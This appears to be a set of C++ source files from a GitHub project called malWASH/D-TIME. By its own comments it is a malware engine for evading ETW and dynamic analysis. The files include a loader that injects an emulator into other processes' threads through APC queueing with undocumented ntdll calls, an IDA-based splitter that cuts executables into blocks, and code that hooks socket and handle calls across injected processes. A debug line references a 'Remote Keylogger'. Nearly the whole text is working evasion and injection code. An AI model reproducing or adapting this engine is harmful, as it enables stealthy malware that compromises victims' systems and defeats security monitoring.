INVALID_SET_FILE_POINTER) return 0; ReadFile(configFile, config, __MAX_CONFIG_LENGTH__-1, &dwBytesRead, &ol); CloseHandle(configFile); if (dwBytesRead == 0) return 0; int i=0, j=0; for (; i < __MAX_CONFIG_LENGTH__ && config[i] != 0 && j <__NO_CONFIG_VALUES__; ) { if (!(config[i] >= '0' && config[i]<= '9')) { ++j; do { ++i; } while (!(config[i] >= '0' && config[i] <= '9') && config[i] != 0); } else { config_vals[j] = config_vals[j] * 10 + config[i++] - '0'; } } if (!(j == __NO_CONFIG_VALUES__-1 || (j==__NO_CONFIG_VALUES__ && config[i]!=0)) ) { return 0; } NPROC = config_vals[0]; NBLOCKS = config_vals[1]; NSEGMS = config_vals[2]; #else NPROC = _NPROC; NBLOCKS = _NBLOCKS; NSEGMS = _NSEGMS; #endif #ifdef __NT_INJECTION__ HMODULE ntdll = GetModuleHandle("ntdll.dll"); // get ntdll.dll module // locate undocumented functions (with no error check) ZwOpenProcess = (_ZwOpenProcess)GetProcAddress(ntdll, "ZwOpenProcess"); ZwAllocateVirtualMemory = (_ZwAllocateVirtualMemory)GetProcAddress(ntdll, "ZwAllocateVirtualMemory"); ZwWriteVirtualMemory = (_ZwWriteVirtualMemory)GetProcAddress(ntdll, "ZwWriteVirtualMemory"); NtCreateThreadEx = (_NtCreateThreadEx)GetProcAddress(ntdll, "NtCreateThreadEx"); RtlCreateUserThread = (_RtlCreateUserThread)GetProcAddress(ntdll, "RtlCreateUserThread"); #endif DWORD dwBytesWritten; const char* LOG_ENTRY = "Start\n"; #ifdef __LOG__ #ifdef __VERBOSE_2__ char __logfile[] = { 'C',':','\\','U','s','e','r','s','\\','t','e','s','t','e','r','\\', 'A','p','p','D','a','t','a','\\','L','o','c','a','l','\\','T','e','m','p','\\', 'A','P','C','_','F','l','a','r','e','.','t','x','t',0 }; HANDLE logFile = CreateFileA( __logfile, GENERIC_WRITE, // open for writing FILE_SHARE_READ, // allow multiple readers NULL, // no security TRUNCATE_EXISTING, // open or create FILE_ATTRIBUTE_NORMAL, // normal file NULL); // no attr. template if (logFile == INVALID_HANDLE_VALUE) { logFile = CreateFileA( __logfile, GENERIC_WRITE, // open for writing FILE_SHARE_READ, // allow multiple readers NULL, // no security OPEN_ALWAYS, // open or create FILE_ATTRIBUTE_NORMAL, // normal file NULL); // no attr. template } SetFilePointer(logFile, 0, NULL, FILE_BEGIN); WriteFile(logFile, LOG_ENTRY, lstrlenA(LOG_ENTRY), &dwBytesWritten, NULL); CloseHandle(logFile); #endif #ifdef __LOG_BLK_IDS__ char __blkLogfile[] = { 'C',':','\\','U','s','e','r','s','\\','t','e','s','t','e','r','\\', 'A','p','p','D','a','t','a','\\','L','o','c','a','l','\\','T','e','m','p','\\', 'b','l','k','L','o','g','.','t','x','t',0 }; HANDLE blkLogFile = CreateFileA( __blkLogfile, GENERIC_WRITE, // open for writing FILE_SHARE_READ, // allow multiple readers NULL, // no security TRUNCATE_EXISTING, // open or create FILE_ATTRIBUTE_NORMAL, // normal file NULL); // no attr. template if (blkLogFile == INVALID_HANDLE_VALUE) { blkLogFile = CreateFileA( __blkLogfile, GENERIC_WRITE, // open for writing FILE_SHARE_READ, // allow multiple readers NULL, // no security OPEN_ALWAYS, // open or create FILE_ATTRIBUTE_NORMAL, // normal file NULL); // no attr. template } WriteFile(blkLogFile, LOG_ENTRY, lstrlenA(LOG_ENTRY), &dwBytesWritten, NULL); CloseHandle(blkLogFile); #endif #endif #pragma region Shared_Mem_Init reasm(); get_executer_details(); /* create or attach to shared control region */ shctrl = (shctrl_t*) crtshreg("ControlRegion", sizeof(shctrl_t), NULL ); #ifdef __PRINT_OFFSET__ printf("nblks : %04Xh\n", offsetof(shctrl_t, nblks)); printf("nsegms : %04Xh\n", offsetof(shctrl_t, nsegms)); printf("nmods : %04Xh\n", offsetof(shctrl_t, nmods)); printf("funtabsz : %04Xh\n", offsetof(shctrl_t, funtabsz)); printf("nproc : %04Xh\n", offsetof(shctrl_t, nproc)); printf("nxtheapaddr : %04Xh\n", offsetof(shctrl_t, nxtheapaddr)); printf("nxtblk : %04Xh\n", offsetof(shctrl_t, nxtblk)); printf("thrdst : %04Xh\n", offsetof(shctrl_t, thrdst)); printf("thrdrtn : %04Xh\n", offsetof(shctrl_t, thrdrtn)); printf("spin : %04Xh\n", offsetof(shctrl_t, spin)); printf("ctx : %04Xh\n", offsetof(shctrl_t, ctx)); printf("segm : %04Xh\n", offsetof(shctrl_t, segm)); printf("modl : %04Xh\n", offsetof(shctrl_t, modl)); printf("blk : %04Xh\n", offsetof(shctrl_t, blk)); printf("funtab : %04Xh\n", offsetof(shctrl_t, funtab)); printf("pidtab : %04Xh\n", offsetof(shctrl_t, pidtab)); printf("duptab : %04Xh\n", offsetof(shctrl_t, duptab)); printf("pLocalHeap : %04Xh\n", offsetof(shctrl_t, pLocalHeap)); printf("emulatorAddr: %04Xh\n", offsetof(shctrl_t, emulatorAddr)); printf("threads : %04Xh\n", offsetof(shctrl_t, threads)); printf("apc_count : %04Xh\n", offsetof(shctrl_t, apc_count)); printf("init_status : %04Xh\n", offsetof(shctrl_t, init_status)); printf("mailbox : %04Xh\n", offsetof(shctrl_t, mailbox)); return 0; #endif /* Initialise variables in shared control region */ strcpy_s(shctrl->signature, 8, "$DTIME$"); shctrl->nblks = NBLOCKS; // set number of blocks shctrl->nsegms = NSEGMS; // set number of segments shctrl->nproc = NPROC; // set number of processses shctrl->nxtheapaddr = HEAPBASEADDR; // that's the base address of shared heap shctrl->nxtblk[0] = 1; // always start with block 1 /* Initialize pid and thread tables in shared control region */ for (int i = 0; i < MAX_NO_PROC; ++i) { shctrl->pidtab[i] = 0; shctrl->init_status[i] = 0; for (int j = 0; j < MAX_THRDS_PER_PROC; ++j) { shctrl->threads[i][j] = 0; shctrl->apc_count[i][j] = 0; } } /* Initialise stack and state for each thread */ for( int i=0; i<NMAXTHREADS; i++ ){ // for each possible thread shctrl->ctx[i].esp = STACKBASEADDR + (STACKSIZE + 0x20000)*i + 0x10000; // set at the middle of current stack shctrl->ctx[i].ebp = shctrl->ctx[i].esp - 0x80; // OPTIONAL: just being safe by not having- // the ebp at the begining shctrl->ctx[i].eax = 0xdeadbeef; // that's totally useless shctrl->thrdst[i] = THREAD_UNUSED; // all threads are disabled } shctrl->thrdst[0] = THREAD_RUNNING; // main thread is active /* * Set up Default command line arguments: * * int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd); * int main (int argc, char *argv); */ loadsegms(); // load segments to shared memory loadmodtab(); // load module table to shared memory loadfuntab(); // load function table to shared memory loadthdtab(); // load thread table to shared memory loadinitab(); // load initialized pointer table to shared memory loadblks(); // load all blocks to shared memeory cout<<"[+] All blocks loaded successfully"<<endl; /* * if we want to set argc and argv main arguments (or WinMain() arguments), here's the right * place to do it: * [1]. Create the shared stack * [2]. Start Placing the arguments starting from shctrl->ctx.esp + 4: * [3]. Set a possible exit point as return address */ crtshreg("SharedStack1", STACKSIZE, (void*)STACKBASEADDR ); *(uint*)(shctrl->ctx[0].esp) = (uint)(ExitThread); // return address to ExitThread // setargs( shctrl ); // setup command line arguments /* * search in function table for calls to WSAStartup(). If you find it, every process must call * it. It doesn't matter when you'll call this function. Instead of sending a mail to other processes * at the time that the first process calls WSAStartup(), we send the mail now, to make things easier. * Note that we ignore calls to WSACleanup(). */ for( uint i=0; i<FUNTBLSIZE; i++ ) // scan funtab non-efficiently (it contains NULLs) if( !strcmp(&shctrl->funtab[i], "WSAStartup") ){ // function found? for( uint i=0; i<shctrl->nproc; i++ ) // for each process shctrl->mailbox[i][0].cmd = CMD_WSASTARTUP; // send the proper mail to each process } DWORD old; bool res = VirtualProtect((LPVOID)((ULONG)executer), EXE_SIZE, PAGE_EXECUTE_READWRITE, &old ); get_executer_details(); write_to_shared_mem(); cout << "[+] Shared Memeory Initialization - Phase 1 successful" << endl; #pragma endregion #ifdef __VAR_9_TRACE_BLOCKS__ // Adding a start reference in the log file FILE *fp = fopen("blks.log", "a+"); // actual log is made by emulator fprintf(fp, "* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *\n"); fclose(fp); #endif #ifdef __SELF_INJECTION__ shctrl->pidtab[0] = GetCurrentProcessId(); shctrl->emulatorAddr[0] = EXECUTER; DWORD threadId; int i = 0; HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)threadFn, 0, 0, &threadId); cout << "[i] ThreadId: " << threadId << endl; shctrl->threads[0][i] = threadId; for (; i < MAX_THRDS_PER_PROC - 1; ++i) { //for (; i < 1; ++i) { CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)threadFn, 0, 0, &threadId); cout << "[i] ThreadId: " << threadId << endl; shctrl->threads[0][i] = threadId; } shctrl->threads[0][i] = GetCurrentThreadId(); if (QueueUserAPC( (PAPCFUNC)shctrl->emulatorAddr[0], hThread, EXE_SIZE)) { cout << "[+] APC Self queueing: Successful" << endl; shctrl->apc_count[0][0] = 1; } else { fatal("[!] APC Self injection failed"); } /* * We will Queue APC in only onc threads. After the execution of APC in T1, * T1 will queue APC in T2 and exit. At this point, there will not be any Queued APCs in T1 * After the execution of APC in T2, T2 will queue APC in T1, and the cycle will repeat. * Note: Additionally, mutex for apc_count array takes care of synchronization TODO: Implement this */ #else cout<<"[+] injecting to other processes"<<endl; int no_inj_proc = findProc( NPROC, whitelist, ALLOW, whitelist_count); // whitelist approach //findProc( NPROC, blacklist, EXCLUDE); // blacklist approach HANDLE hThreads = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (hThreads == INVALID_HANDLE_VALUE) fatal("[!] failed to create snapshot"); THREADENTRY32 te; te.dwSize = sizeof(te); if (!Thread32First(hThreads, &te)) fatal("[!] Unable to get first thread from snapshot"); do { /* * Loop till you find owner of te in pidtab or hits the end of pidtab * If first condition is met, "i" will be "pid_idx" of owner of "te". */ int i = 0; for (; shctrl->pidtab[i] != te.th32OwnerProcessID && i < MAX_NO_PROC; ++i) ; if (i == MAX_NO_PROC) continue; /* * Find an index in the thread array to place the thread id. * If the first condition is met, "j" will contain a valid index for thread */ int j = 0; for (; shctrl->threads[i][j] != 0 && j < MAX_THRDS_PER_PROC; ++j); if (j >= #ifdef __LIMIT_THRD_COUNT__ __LIMIT_THRD_COUNT__ #else MAX_THRDS_PER_PROC #endif ) continue; //if (i > 0 && j > 15) { // //int TMP = 0; // //if (TMP == 0) { // continue; // //} //} HANDLE hThread = OpenThread( THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME, FALSE, te.th32ThreadID); if (hThread == NULL) continue; if (QueueUserAPC( (PAPCFUNC)shctrl->emulatorAddr[i], hThread, EXE_SIZE)) { shctrl->threads[i][j] = te.th32ThreadID; // update thread array /* We won't increament the apc_count to let multiple APCs to be queued to the thread initially * 1. Queued by Loader (here) * 2. Queued by init APCs * Note: init APC of every process will queue one APC */ shctrl->apc_count[i][j] = -NPROC; // update apc count for the thread cout << "[+] Injected to tid: " << te.th32ThreadID << "\tpid: "<<dec<<te.th32OwnerProcessID << "\tat: 0x" << hex << shctrl->emulatorAddr[i] << endl; //Sleep(100); Sleep(1000); } } while (Thread32Next(hThreads, &te)); CloseHandle(hThreads); #endif #ifdef __WRITE_EMULATOR_TO_FILE__ FILE *fp = fopen("executer_raw.txt", "w"); LPBYTE p, funst = (LPBYTE)EXECUTER; for( p=(LPBYTE)funst; strcmp((char*)p, "$end_of_D_TIME$"); p++ ) fprintf(fp, "\\x%02x", (*p) & 0xff); fclose( fp ); #endif #ifndef __SELF_INJECTION__ /* we need to wait till one of the APC attaches the shared memory region to itself The shared memory will get destroyed if no live process has it attached. 5 seconds seems to be a long enough wait for this. */ Sleep( 5000 ); ShowWindow(FindWindowA(NULL, "Remote Keylogger"), SW_SHOW ); // Show the window --> DEBUG purpose only system( "pause" ); #else while(true){ // infinit loop in alertible wait state to help APC consuption SleepEx(1000, TRUE); } #endif return 0; }
29,987
C++
.cpp
779
35.590501
103
0.58595
pwnlogs/d-time
35
12
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GPL-3.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
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false
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1,531,374
core_backup.cpp
pwnlogs_d-time/splitter/core_backup.cpp
//----------------------------------------------------------------------------------------------------------- /* ** malWASH - The malware engine for evading ETW and dynamic analysis - ** The splitting engine ** ** ** Version 2.0 ** ** core.cpp ** ** This file is the core of the plugin. It's responsible for splitting the executablle into multiple ** pieces. We assume that there are no anti dissasembly protections, or any code obfuscation. Every ** instruction must be known at compile time. ** ** ** Kyriakos Ispoglou (ispo) - ispo@purdue.edu ** June 2015 */ //----------------------------------------------------------------------------------------------------------- #include "malwash.h" // all includes are here netnode edge, // store the relations between basic blocks visited; // store the bid for each address //----------------------------------------------------------------------------------------------------------- /* ** fatal(): This function is called when fatal error are occured. fatal() prints the error description and ** terminates execution of plugin ** ** Arguments: fmstring (char*) : A format string, containing the error description ** ... : maybe more arguments follow ** ** Return Value: None. */ void fatal( const char *fmstring, ... ) { va_list args; // our arguments qstring fsbuf; // our format string buffer va_start( args, fmstring ); // start using variable argument list fsbuf.vsprnt( fmstring, args ); // load error message in fsbuf va_end( args ); // stop using variable argument list msg("\n[ERROR]: %s. Aborting Execution\n\n", qstrdup(fsbuf.c_str()) ); visited.kill(); // delete netnodes from database segment.kill(); invbid.kill(); edge.kill(); //error("%s. Aborting Execution\n\n", qstrdup(fsbuf.c_str()) ); //qexit(ERROR); } //----------------------------------------------------------------------------------------------------------- /* ** locmain(): Search for a function and returns a pointer to it. ** ** Arguments: name (char*): A pointer to a string containing function name ** ** Return Value: A pointer to the requested function. If function doesn't exist, a NULL is returned. */ func_t *locmain(char *name) { char fname[256]; // plz don't overflow me :) for(uint idx=0; idx<get_func_qty(); idx++) { // iterate over functions get_func_name(getn_func(idx)->startEA, fname, sizeof(fname)); if( strcmp(fname, name) == 0 ) // match found? return getn_func(idx); // if so, return pointer } return NULL; // failure. Return null } //----------------------------------------------------------------------------------------------------------- /* ** addedge(): This function adds an edge between 2 basic blocks. ** ** Arguments: from (ea_t) : Effective address of source basic block ** to (ea_t) : Effective address of target basic block ** dm (debugmode) : The level of information will be printed ** ** Return Value: None. */ void addedge(ea_t from, ea_t to, debugmode dm) { // PROBLEM: 1byte bids uchar edglst[256] = { 0 }; // store here edge list size_t len; // list length uint bfrom, bto; // block ids bfrom = visited.altval(from) & NOTMSBIT; // get bids from addresses bto = visited.altval(to) & NOTMSBIT; if( (len=edge.supval(bfrom, NULL, 0, 'E')) == -1 ) // empty list ? len = 0; else edge.supval(bfrom, edglst, len, 'E'); // if not get it ((ushort*)edglst)[len>>1] = bto & SHORT; // store 2 byte bid (look edglst as ushort[128]) edge.supset(bfrom, edglst, len+2, 'E'); // store list back to netnode if( dm != NONE ) // print detailed information? { ushort *e; // edge list pointer uint i; // iterator edge.supval(bfrom, edglst, len+2, 'E'); // update edge list msg( " [*] Block targets from %3d: ", bfrom ) ; for( i=0, e=(ushort*)edglst; i<=len>>1; ++i, ++e ) // print each element msg( "%3d, ", *e ); msg( "\n" ); } } //----------------------------------------------------------------------------------------------------------- /* ** basicblksplit(): This function does splits a function into basic blocks. It uses a simple Depth-First ** Search (DFS) algorithm. Note that function is recursive. ** ** Arguments: cfun (func_t*) : A pointer to the current function ** curr (ea_t) : The current address to start spliting ** dm (debugmode) : The level of information will be printed ** ** Return Value: The number of instructions splitted. */ uint basicblksplit(func_t *cfun, ea_t curr, debugmode dm) { static uint bid = 1; // set block ID (start from 1, 0 is a special case) char name[MAXBUFLEN], // auxilary buffers temp[MAXBUFLEN]; uint ninst; // total number of instructions ea_t prev = curr; // instruction before current instruction insn_t loccmd; // backup of cmd global variable (we need it to avoid // problems during recursion). // PROBLEM: if prev declared after loccmd, we get an exception of corrupted stack near loccmd. // PROBLEM: we miscount some block ids. // // parsing instructions one after another, until one of these occur: // [1]. Reach the end of the function // [2]. Visit an instruction that already belongs to another block for(ninst=0; !(visited.altval(curr) >> 31) && curr<=cfun->endEA; ++ninst, curr+=loccmd.size ) { decode_insn(curr); // decode current instruction loccmd = cmd; // cmd is global (in ua.hpp). Make a local copy of it get_name(cfun->startEA, curr, name, MAXNAMELEN); // get location name (if exists) if( name[0] != 0 && // if name exists cfun->startEA < curr && curr < cfun->endEA) // and name is not a function name bid++; // get a new block visited.altset(curr, (ulong)(MSBIT | bid)); // assign a block ID _ltoa_s(bid, temp, MAXBUFLEN, 10); // DEBUG: comment instructionns with block IDs set_cmt(curr, temp, false); // (use the safe version of ltoa) if(visited.altval(prev) != visited.altval(curr)) // if 2 consequtive instr. have different bid addedge(prev, curr, VERY_VERBOSE); // add an edge between them if( dm == VERY_VERBOSE ) // print more information ? msg( " [-] Visiting block %3d. Current Address:%x\n", bid, curr ); // for each possible target address (there will be many in switch statements) for( ea_t nxt=get_first_cref_from(curr); nxt!=BADADDR; nxt=get_next_cref_from(curr, nxt) ) { if( (curr + loccmd.size != nxt) ) // if the next instr. is not the instr. below { if( loccmd.itype == NN_call || loccmd.itype == NN_callfi || loccmd.itype == NN_callni) { // special handling of call instructions char segm[MAXBUFLEN]; // store segments get_segm_name(nxt, segm, MAXBUFLEN); // get segment of target function if( strcmp(segm, "_text") == 0 ) // if function is not imported, analyze it { char func[MAXFUNAMELEN]; // get function name get_func_name(nxt, func, MAXFUNAMELEN); // ignore some useless functions (DEBUG ONLY) if( strstr(func, "_RTC_") == 0 && strstr(func, "_security_") == 0 ) { bid++; // new block // split the new function if(funcsplit(get_func(nxt),dm) == 0) bid--; // if it's already visited no new bid is used addedge(curr, nxt, dm); // add an edge between blocks } // we ignore the total instructions splitted here, cause we're insterested only in // the total number of instructions within this function } } else // instruction can jump somewhere else { // add this check for MSVC++ compiler, to handle trampoline functions if( func_contains(get_func(curr), nxt) == false ) { bid++; // new block if(funcsplit(get_func(nxt), dm) > 0)// split the new function bid++; // one more time... } else { // normal jmp/loop instructions //msg("block split: %3d cur:%x\tnxt:%x\n", bid, curr, nxt); uint n = basicblksplit(cfun, nxt, dm); //msg("block split AFTER: %3d cur:%x\tnxt:%x n:%d\n", bid, curr, nxt, n); // note that with this method, we may miscount the block id counter. Here if the nxt, // is an already visited block, we'll return with a new bid where no instructions are // assigned to it. If we have a 2nd consequtive return, we'll increase bid, without // using the previous value in any block. ninst += n; // increase total number of instructions if(n > 0) bid++; // change block only if you have to addedge(curr, nxt, dm); // add an edge between blocks } } } else prev = curr; // update previous instruction pointer } if(find_code(curr, SEARCH_DOWN) >= cfun->endEA) { // if the next instr. exceeds function's end stop if( !ninst ) ninst = 1; // if we made only 1 iteration, we have seen 1 instr. break; // now break } } if( (visited.altval(curr) >> 31) && !ninst) // if block is visited bid++; // we still have to change block id return ninst; // return the total number of instructions } //----------------------------------------------------------------------------------------------------------- /* ** funcsplit(): This function splits a new function. basicblksplit() may call it, when encounter a new ** function. This is just a wrapper for basicblksplit(). We create a new function for this job in order ** to have a more clear design. ** ** Arguments: cfun (func_t*) : A pointer to the current function ** dm (debugmode) : The level of information will be printed ** ** Return Value: The total number of instructions splitted. */ uint funcsplit(func_t *currfunc, debugmode dm) { char name[MAXBUFLEN]; // function's name uint ninst; // total number of instructions if( (ninst = basicblksplit(currfunc, currfunc->startEA, dm)) > 0 ) { // print it only the first time you see the function get_func_name(currfunc->startEA, name, MAXBUFLEN); msg(" [-]. %3d instruction(s) splitted on function (%x-%x): %s ...\n", ninst, currfunc->startEA, currfunc->endEA, name ); } return ninst; // return total number of instructions } //----------------------------------------------------------------------------------------------------------- /* ** printbbstat(): Print some information about basic block splitting. ** ** Arguments: dm (debugmode): The level of information detail ** ** Return Value: None. */ void printbbstat( debugmode dm ) { ulong val, prev=-1; // auxilart vars uint count=0; // number of basic blocks // enumerate all different basic blocks for( nodeidx_t addr=visited.alt1st(); addr!=BADNODE; addr=visited.altnxt(addr)) if( (val = visited.altval(addr)) != prev ) { // bid changed? prev = val; // update it count++; // increment counter invbid.altset(val & NOTMSBIT, addr, 'I'); // set this for inverse search } msg( "[+] Program splitted into %d pieces\n", count ); } //-----------------------------------------------------------------------------------------------------------
11,496
C++
.cpp
245
43.616327
109
0.581233
pwnlogs/d-time
35
12
0
GPL-3.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
false
false
false
false
false
false
1,531,375
dup_back.cpp
pwnlogs_d-time/splitter/dup_back.cpp
//----------------------------------------------------------------------------------------------------------- /* ** malWASH - The malware engine for evading ETW and dynamic analysis: A new dimension in APTs ** ** ** The splitting engine ** - Version 2.0 ** ** ** dup.cpp ** ** This file contains code for dealing with duplicated SOCKETs and HANDLEs. Most of the job is done on ** executer, but we have to setup the basic structure here. ** ** ** Kyriakos Ispoglou (ispo) - ispo@purdue.edu ** June - July 2015 */ //----------------------------------------------------------------------------------------------------------- #include "malwash.h" // all includes are here //----------------------------------------------------------------------------------------------------------- /* ** crthook(): Create a hook function (detour) to the call/jmp to the imported modules. The role of the hook ** function is double: ** [1]. If SOCKET/HANDLE is used as return value, we have to insert it in duptab of the executer and we ** inform the other injected processes to call WSADuplicateSocket/DuplicateHandle. ** [2]. If SOCKET/HANDLE is used as the i-th argument, we have to replace it with the duplicated one ** before call to the actual function. ** ** NOTE: We can avoid hooks and insert extra code in the middle of block instead. This solution will work ** when we have a basic block split (as there are no relative jumps within blocks). However if we use ** a different splitting mode and each block consist of many basic blocks, this approach won't work. ** ** NOTE2: We cannot handle trampoline function calls **. ** Arguments: blk (uchar*) : Block opcodes ** blkcnt (uint) : Block size ** duptab (dup_t*) : A pointer to duptab ** dupcnt (uint) : # of duptab entries ** funcrel (funcrel_t*) : A pointer to funcrel ** funrelcnt (uint) : # of funcrel entries ** ** Return Value: Function returns constant ANY. If an error occured, it returns -1 */ uint crthook( uchar blk[], uint *blkcnt, dup_t duptab[], uint dupcnt, funcrel_t funcrel[], uint funrelcnt ) { // redefine these MACROS #define PBYTE1(b) (blk[(*blkcnt)++] = (b) & 0xff) // append a single byte to blk array #define PLONG(l) *(uint*)(blk + *blkcnt) = (l); *blkcnt += 4 // append a 4 byte integer to blk array #define PBYTE2(a, b) PBYTE1(a); PBYTE1(b) // append 2 bytes to blk array #define PBYTE3(a, b, c) PBYTE2(a, b); PBYTE1(c) // append 3 bytes to blk array #define PBYTE4(a, b, c, d) PBYTE3(a, b, c); PBYTE1(d) // append 4 bytes to blk array #define SET_EBX(target) PBYTE1(0xBB); PLONG(target) // write the instruction mov ebx, _long_ // this MACRO changes a function relocation offset from and old (o) to a new (n) value: #define movreloff(o, n) \ for(uint i=0; i<funrelcnt; i++ ) \ if( funcrel[i].boff == (o) ) \ { \ funcrel[i].boff = (n); \ break; \ } ushort jmpoff = *blkcnt; // store current block size if( dupcnt == 0 ) return SUCCESS; // if there's no need for duplications, exit // reserve 5 bytes for adding a relative far jump to skip function definitions. // (we can add a relative near jump (1 byte offset) but it's dangerous) *blkcnt += 5; for(uint d=0; d<dupcnt; d++ ) // for each entry in duptab { if( blk[duptab[d].boff + 1] != 0x15 ) // we consider only indirect calls { // we have an indirect jump to imported library. // we can handle it by doing exactly the same thing with indirect jumps in patchblk(). // however because we'll end up with large code snippets, we won't handle in this version fatal( "Current version cannot duplicate trampoline HANDLE/SOCKET functions" ); return ERROR; // abort } if( (duptab[d].loc & 0xff) == 0 ) // duplicate return value? { // // In such cases, we have a call to a function that returns a SOCKET/HANDLE: // .text:0041185C 52 push edx // .text:0041185D FF 15 8C A4 41 00 call ds:__imp__socket@12 // .text:00411863 89 85 6C FE FF FF mov [ebp+sock], eax // // We replace the function call with a nop (1 byte) + a relative jump to hook (5 bytes): // e9 ?? ?? 00 00 jmp +???? <hook> // (we don't use a call because this will modify the stack and the 1st argument won't be // in esp+4 anymore). // // We store the hook at the end of the normal basic block. The first job of the hook is // to execute the replaced instruction call/jmp. // After call, eax will contain the SOCKET/HANDLE value. Then we call a function that is // responsible for inserting the handle in the duplicate's table, duplicating it and informing // other processes to use the duplicated handle. // However we don't know the address of this function and we have to resolve it at runtime. // Thus we insert a call but we leave the address empty. Note that this call should return the // original SOCKET/HANDLE value. After this call we jump to the instruction right after the call // to the hook. In the above example, the code will be changed to: // // seg000:0000002F 52 push edx // seg000:00000030 90 nop // seg000:00000031 E9 3F 00 00 00 jmp loc_75 // seg000:00000036 loc_36: // seg000:00000036 89 85 6C FE FF FF mov [ebp-194h], eax // ... // seg000:00000075 loc_75: // seg000:00000075 FF 15 8C A4 41 00 call dword ptr ds:41A48Ch ; ds:__imp__socket@12 // seg000:0000007B E8 90 90 90 90 call near ptr 90909110h // seg000:00000080 E9 B1 FF FF FF jmp loc_36 // // NOTE: we can also handle this: jmp ds:__imp__socket@12 // ushort imploc = *blkcnt + 2, // new offset of call to the imported module duprepl; // offset of the unknonw dup* function msg( " [+] Creating a hook function for return value at offset %d\n", duptab[d].boff); memcpy(&blk[*blkcnt], &blk[duptab[d].boff], 6); // move call/jmp instr. to the end of the block blk[ duptab[d].boff ] = 0x90; // nop blk[duptab[d].boff+1] = 0xe9; // jump + find the offset *(uint*)(blk + duptab[d].boff + 2) = (*blkcnt - duptab[d].boff - 6); *blkcnt += 6; // increase counter duprepl = *blkcnt + 1; // get offset of dup* function call PBYTE1( 0xe8 ); // call PLONG( 0x90909090 ); // we can use this space to store info // PBYTE1( 0xe9 ); // jump back to the instruction after hook PLONG( -(int)(*blkcnt - duptab[d].boff - 2) ); // // because we moved a call to an imported module, we have to update the offset in funcrel // table. Otherwise we'll try to relocate a function at the wrong offset movreloff(duptab[d].boff+2, imploc); duptab[d].boff = duprepl; // boff now points to unknown dup* function } else { // duplicate an argument? // // Now, we have a call/jmp to a function that takes a SOCKET/HANDLE as argument: // .text:00411883 51 push ecx // .text:00411884 FF 15 88 A4 41 00 call ds:__imp__connect@12 // .text:0041188A 83 F8 FF cmp eax, 0FFFFFFFFh // // We replace the function call with a nop (1 byte) + a relative call to hook (5 bytes): // e8 ?? ?? 00 00 call +???? <hook> // // This time, the first job of the hook, is to read the argument that needs to be duplicated // and call a function from dup* family to find the right duplicated SOCKET/HANDLE for this // process. Then we have to replace the original argument with the duplicated one. // Finally we jump to the imported module (instead of call). Once we execute a "retn" inside // the imported module, we'll return to the instruction after the call. Let's see how the above // example becomes: // // seg000:00000056 51 push ecx // seg000:00000057 90 nop // seg000:00000058 E8 28 00 00 00 call sub_85 // seg000:0000005D 83 F8 FF cmp eax, 0FFFFFFFFh // ... // seg000:00000085 sub_85 proc near // seg000:00000085 8B 44 24 04 mov eax, [esp - 0x04] // seg000:00000089 E8 90 90 90 90 call near ptr 9090911Eh // seg000:0000008E 89 44 24 04 mov [esp - 0x04], eax // seg000:00000092 FF 25 88 A4 41 00 jmp dword ptr ds:41A488h ; ds:__imp__connect@12 // ushort duprepl; // offset of the unknonw dup* function msg( " [+] Creating a hook function for argument %d at offset %d\n", duptab[d].loc & 0xff, duptab[d].boff); // insert a: "mov eax, DWORD PTR [esp+0x?]" (8b 44 24 0?) to read thea argument that needs to // be duplicated. ? is the argument location*4 PBYTE4( 0x8B, 0x44, 0x24, (duptab[d].loc & 0xff) << 2 ); duprepl = *blkcnt + 1; // get offset of dup* function call PBYTE1( 0xe8 ); // call PLONG( 0x90909090 ); // we can use this space to store info // after call, replace the argument with the duplicated one: // "mov DWORD PTR [esp+0x?], eax" (89 44 24 0?) PBYTE4( 0x89, 0x44, 0x24, (duptab[d].loc & 0xff) << 2 ); memcpy(&blk[*blkcnt], &blk[duptab[d].boff], 6); // move call in the hook // Convert call to jump (indirect jump and indirect call differ only in 2nd byte: // FF 25 B8 A3 41 00 jmp ds:__imp__memset ; 5 // FF 15 88 A4 41 00 call ds:__imp__connect@12 blk[ (*blkcnt) + 1] = 0x25; // convert call to jmp blk[ duptab[d].boff ] = 0x90; // nop blk[duptab[d].boff+1] = 0xe8; // call // find the call offset: // 4 bytes for: mov eax, DWORD PTR [esp+0x?] // 5 bytes for call to dup* function // 4 bytes for: mov DWORD PTR [esp+0x?], eax // 6 bytes for indirect jump to imported moodule *(uint*)(blk + duptab[d].boff + 2) = (*blkcnt - duptab[d].boff - 4 - 5 - 4 - 6); movreloff(duptab[d].boff+2, *blkcnt + 2); // update function relocation duptab[d].boff = duprepl; // boff now points to unknown dup* function *blkcnt += 6; // adjust block size } } // we insert hooks at the end of basic block. We have to finish basic block with a jump to skip hooks: blk[ jmpoff ] = 0xe9; // jump *(uint*)(blk + jmpoff + 1) = (*blkcnt - jmpoff - 5); // find offset (5 = jump size) return SUCCESS; // return #undef SET_EBX // undefine MACROS #undef PBYTE4 #undef PBYTE3 #undef PBYTE2 #undef PLONG #undef PBYTE1 } //----------------------------------------------------------------------------------------------------------- /* ** dupchk(): This function checks whether an imported function from a module uses a SOCKET or a HANDLE. ** Because subsequent blocks of the splitted program will be in different processes, we'll have ** troubles. If process 1 open a socket, then process 2 cannot write to it. Fortunately, functions ** WSADuplicateSocket() and DuplicateHandle() can solve this problem. ** IDA helps us for one more type. When we have a call/jmp to an imported module, the first data xref ** from this address, will always point to an entry inside IAT. By reading the type of this entry we ** identify the imported function declaration with high detail. For instance: ** SOCKET __stdcall socket(int af, int type, int protocol) ** From the above string it's very easy to see if and which arguments (or the return value) use a ** socket. Thus we can avoid having a huge list of all function that use socket/handles and check each ** imported function against this list to see if the latter uses any socket/handles. ** ** Arguments: iaddr (ea_t) : Address of the instruction that transfers control to the imported module ** ** Return Value: If any errors occured, the return value is -1. Otherwise function returns a 16bit number ** The 8 LSBits of this number denote the location of the argument whereas the 8 MSBitd the duplication ** type (0 for HANDLE, or 1 for SOCKET). */ uint dupchk( ea_t iaddr ) { type_t buf [MAXIMPFUNDECLLEN]; // the first 3 buffers are 